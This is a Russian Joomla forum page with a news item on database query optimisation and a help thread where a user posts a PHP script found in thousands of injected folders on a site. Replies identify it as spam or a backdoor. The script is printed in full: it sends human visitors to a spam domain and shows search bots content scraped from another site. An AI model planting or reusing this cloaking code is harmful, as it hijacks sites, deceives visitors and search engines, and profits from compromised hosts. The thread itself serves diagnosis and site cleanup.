Новости Joomla

Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях

Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях

👩‍💻 Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях. На старте его сайт на Joomla 3 вообще не смог обновиться на Joomla 5. Пришлось делать экспорт/импорт материалов. Проделав всё это он запустил-таки этот объём данных на Joomla 5. Тестовый скрипт грузил 200 материалов из этого объёма всего за 94 секунды ))) А главная страница с категориями грузилась 20 секунд. Добавив индекс для таблицы #__content

CREATE INDEX idx_catid_state ON #__content (catid, state);
он сократил время загрузки категорий до 1 секунды. Затем наш герой решил поковырять SQL-запрос в ArticleModel, который отвечает за выборку материалов. И решил заменить тип JOIN на STRAIGHT_JOIN для категорий.
// ->from($db->quoteName('#__content', 'a'))->from(    $db->quoteName('#__content', 'a')    . ' STRAIGHT_JOIN ' . $db->quoteName('#__categories', 'c')    . ' ON ' . $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))// ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))
Что сократило загрузку 200 материалов из 150к с 94 секунд до 5. К слову сказать, боевой сайт на Joomla 3 крутится на 12CPU 64GB рамы. А все манипуляции с кодом он делает на базовом 1CPU 1GB сервере и замеры скорости даны именно для базового сервера. Но это всё в дискуссии, хотя в идеале должно вылиться в Pull Requests. Мы - Open Source сообщество, где никто никому ничего не должен. Джунгли. Но человек ищет пути оптимизации Joomla и предлагает решения. Если оказать поддержку и предложить помощь хотя бы с тестированием самых разнообразных сценариев, то возможно эти улучшения смогут войти в ядро. Пусть не быстро, пусть через несколько лет, пусть не все, но войдут. Достаточно предложить руку помощи и приложить немного усилий.
Дискуссию на GitHub можно почитать здесь.@joomlafeed#joomla #community #php

0 Пользователей и 1 Гость просматривают эту тему.
  • 9 Ответов
  • 931 Просмотров
*

katalog_2003

  • Захожу иногда
  • 71
  • 0 / 0
не могу понять что за скрипт может кто подскажет  спасибо

<?php


$tmp = "?" . strtolower($_SERVER['HTTP_USER_AGENT']);
if((strpos($tmp, 'bot')!= true)){
header('location:http://deskincream2016.lori-ellis.com/');
exit;
}


function gethttpcnt($url,$username = '',$password = '',$timeout = 10){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$cnt = curl_exec($ch);
curl_close($ch);
return $cnt;
}
 $fromsite="http://www.fitforfun.de/beauty-wellness/haut-haare/pigmentflecken/hautprobleme_aid_5500.html";
 $website="http://www.fitforfun.de/";

 $ss=$_SERVER['PHP_SELF'];
 $ss=str_replace("index.php","",$ss);
 $otherstring=$fromsite;
 
 $content=gethttpcnt($otherstring);
 $content=str_replace("\"images/","\"" . $website . "/images/",$content);
 $content=str_replace("\"/images/","\"" . $website . "/images/",$content);
 $content=str_replace("\"../images/","\"" . $website . "/images/",$content);
 $content=str_replace("\"Images/","\"" . $website . "/images/",$content);
 $content=str_replace("\"/Images/","\"" . $website . "/images/",$content);
 $content=str_replace("\"../Images/","\"" . $website . "/images/",$content);
 $content=str_replace("\"includes/templates/","\"" . $website . "/includes/templates/",$content);
 $content=str_replace("\"/includes/templates/","\"" . $website . "/includes/templates/",$content);
 $content=str_replace("\"../includes/templates/","\"" . $website . "/includes/templates/",$content);
 $content=str_replace("\"min/","\"" . $website . "min/",$content);
 $content=str_replace("\"media/","\"" . $website . "/images/",$content);
 $content=str_replace("\"/media/","\"" . $website . "/images/",$content);
 $content=str_replace("\"../media/","\"" . $website . "/images/",$content);
 $content=str_replace("\"css/","\"" . $website . "/css/",$content);
 $content=str_replace("\"/css/","\"" . $website . "/css/",$content);
 $content=str_replace("\"../css/","\"" . $website . "/css/",$content);
 $content=str_replace("\"skin/","\"" . $website . "/images/",$content);
 $content=str_replace("\"/skin/","\"" . $website . "/images/",$content);
 $content=str_replace("\"../skin/","\"" . $website . "/images/",$content);
 $content=str_replace("\"js/","\"" . $website . "/images/",$content);
 $content=str_replace("\"/js/","\"" . $website . "/images/",$content);
 $content=str_replace("\"../js/","\"" . $website . "/images/",$content);
 $content=str_replace("'images/","'" . $website . "/images/",$content);
 $content=str_replace("'/images/","'" . $website . "/images/",$content);
 $content=str_replace("'../images/","'" . $website . "/images/",$content);
 $content=str_replace("'Images/","'" . $website . "/images/",$content);
 $content=str_replace("'/Images/","'" . $website . "/images/",$content);
 $content=str_replace("'../Images/","'" . $website . "/images/",$content);
 $content=str_replace("'includes/templates/","'" . $website . "/includes/templates/",$content);
 $content=str_replace("'/includes/templates/","'" . $website . "/includes/templates/",$content);
 $content=str_replace("'../includes/templates/","'" . $website . "/includes/templates/",$content);
 $content=str_replace("'min/","'" . $website . "min/",$content);
 $content=str_replace("'media/","'" . $website . "/images/",$content);
 $content=str_replace("'/media/","'" . $website . "/images/",$content);
 $content=str_replace("'../media/","'" . $website . "/images/",$content);
 $content=str_replace("'skin/","'" . $website . "/images/",$content);
 $content=str_replace("'/skin/","'" . $website . "/images/",$content);
 $content=str_replace("'../skin/","'" . $website . "/images/",$content);
 $content=str_replace("'js/","'" . $website . "/images/",$content);
 $content=str_replace("'/js/","'" . $website . "/images/",$content);
 $content=str_replace("'../js/","'" . $website . "/images/",$content);
 $content=str_replace('href="/','href="' . $website,$content);
 $content=str_replace('"' . $fromsite . '"','"' . $_SERVER['HTTP_HOST'] . $ss . '"',$content);
 $content=str_replace("'" . $fromsite . "'","'" . $_SERVER['HTTP_HOST'] . $ss . "'",$content);
 echo $content;
?>
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
Вы лучше сначала расскажите, чем этот скрипт вам интересен, потому что, скорее всего, он создан не для благих целей. Он вам как-то вредит или вы хотите его использовать?
Не будь паразитом, сделай что-нибудь самостоятельно!
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Шаблон качался с варезного ресурса? Вот и скрипт спамерский. Либо просто скрытая реклама либо бекдор глубже лежит
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Ну почему сразу варезный. Я встречал и в бесплатных расширениях рекламу.
В скрипте много вставок на сайты. И другой вопрос- дата создания скрипта, и с каким расширением этот скрипт появился в файлах сайта. Или хакер получил доступ к хостингу - и внедрил этот скрипт.
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Ну почему сразу варезный. Я встречал и в бесплатных расширениях рекламу.
В бесплатных расширениях реклама открытая, а не укрыта base64 или другими скрытыми способами. Я лично в бесплатных никогда не видел рекламы, кроме ссылки на сайт разработчика.
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

katalog_2003

  • Захожу иногда
  • 71
  • 0 / 0
Сайт был передан на оптимизацию вскрываю а там папок ba123 и т.д 3500 шт index.php в нутри
*

wishlight

  • Гуру
  • 5073
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Явно ничего хорошего. Лечите сайт.
*

katalog_2003

  • Захожу иногда
  • 71
  • 0 / 0
HaCkeD By Dr.Silnt HilL не знаете что это
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
Явно ничего хорошего. Лечите сайт.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
HaCkeD By Dr.Silnt HilL не знаете что это
"Доктор Silnt HilL тебя поимел" - что-то вроде этого. Хотя он не такой уж крутой, судя по коду.
Не будь паразитом, сделай что-нибудь самостоятельно!
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Не могу разблокировать материалы, модули для редактирования

Автор Ecodrev

Ответов: 3
Просмотров: 1214
Последний ответ 24.03.2025, 20:20:55
от R31rus
Не могу обновить контент на странице

Автор Aleksey G

Ответов: 10
Просмотров: 1231
Последний ответ 02.01.2024, 22:11:43
от Aleksey G
Я создал пользователя Author, но он не может зайти в редактирование

Автор Olegus79

Ответов: 7
Просмотров: 1122
Последний ответ 19.10.2023, 20:48:52
от Vastriet
Как может?

Автор DuaneFord

Ответов: 2
Просмотров: 766
Последний ответ 04.08.2023, 08:05:06
от Vastriet
Не могу найти куда сохранились стили CSS после их обозначения в html модуле

Автор bustdwn

Ответов: 8
Просмотров: 901
Последний ответ 03.10.2022, 14:58:28
от marksetter